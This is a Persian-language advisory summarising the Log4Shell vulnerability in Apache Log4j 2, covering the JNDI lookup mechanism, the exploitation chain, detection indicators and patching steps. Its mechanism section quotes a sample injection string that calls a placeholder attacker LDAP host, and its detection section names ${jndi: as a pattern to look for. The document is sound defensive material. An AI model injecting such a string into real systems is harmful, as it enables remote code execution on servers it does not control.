
خلاصه
آسیبپذیری CVE-2021-44228 در کتابخانه Apache Log4j 2 امکان اجرای کد از راه دور را از طریق قابلیت Lookup و رابط JNDI فراهم میکرد. این گزارش سازوکار فنی آسیبپذیری، مسیرهای بهرهبرداری، نشانههای قابلتشخیص و اقدامات اصلاحی را مرور میکند.
سازوکار آسیبپذیری
Log4j هنگام ثبت پیام، عبارات قالب ${…} را ارزیابی میکرد. یکی از این عبارات، Lookup مبتنی بر JNDI بود که امکان دریافت شیء از سرویسهای راه دور مانند LDAP را فراهم میکرد. اگر مهاجم رشتهای مانند ${jndi:ldap://attacker.example/a} را در دادهای قرار دهد که ثبت میشود، برنامه با سرور مهاجم ارتباط برقرار و در شرایطی کلاس جاوای ارسالی را بارگذاری و اجرا میکرد.
زنجیره بهرهبرداری
- ارسال رشته مخرب در یکی از ورودیهای ثبتشونده (سرآیندهای HTTP، فیلدهای فرم، نام کاربری).
- ارزیابی عبارت توسط Log4j و درخواست JNDI به سرور LDAP یا RMI مهاجم.
- پاسخ سرور مهاجم با ارجاع به کلاس یا شیء مخرب.
- بارگذاری و اجرای کد در فرایند برنامه با سطح دسترسی آن.
نشانههای تشخیص
- وجود رشتههای
${jndi:و شکلهای مبهمسازیشده آن (مانند استفاده از Lookupهای تودرتو) در گزارشها. - اتصالهای خروجی غیرمنتظره سرورهای برنامه به پورتهای LDAP یا RMI.
- ایجاد فرایندهای فرزند غیرعادی توسط فرایند جاوا.
اصلاح و کاهش ریسک
ارتقا به نسخههای اصلاحشده (2.17.1، 2.12.4 یا 2.3.2 بسته به نسخه جاوا) راهکار اصلی است. در صورت عدم امکان، حذف کلاس JndiLookup از فایل log4j-core و محدود کردن ارتباطات خروجی، بهعنوان اقدامات موقت توصیه میشود. از آنجا که بهرهبرداری گسترده گزارش شده، سامانههای در معرض باید از نظر نشانههای نفوذ نیز بررسی شوند.
درسهای کلیدی
- نیاز به فهرست دقیق وابستگیهای نرمافزاری (SBOM).
- اهمیت محدود کردن ارتباطات خروجی سرورها.
- ضرورت فرایند سریع وصلهگذاری اضطراری.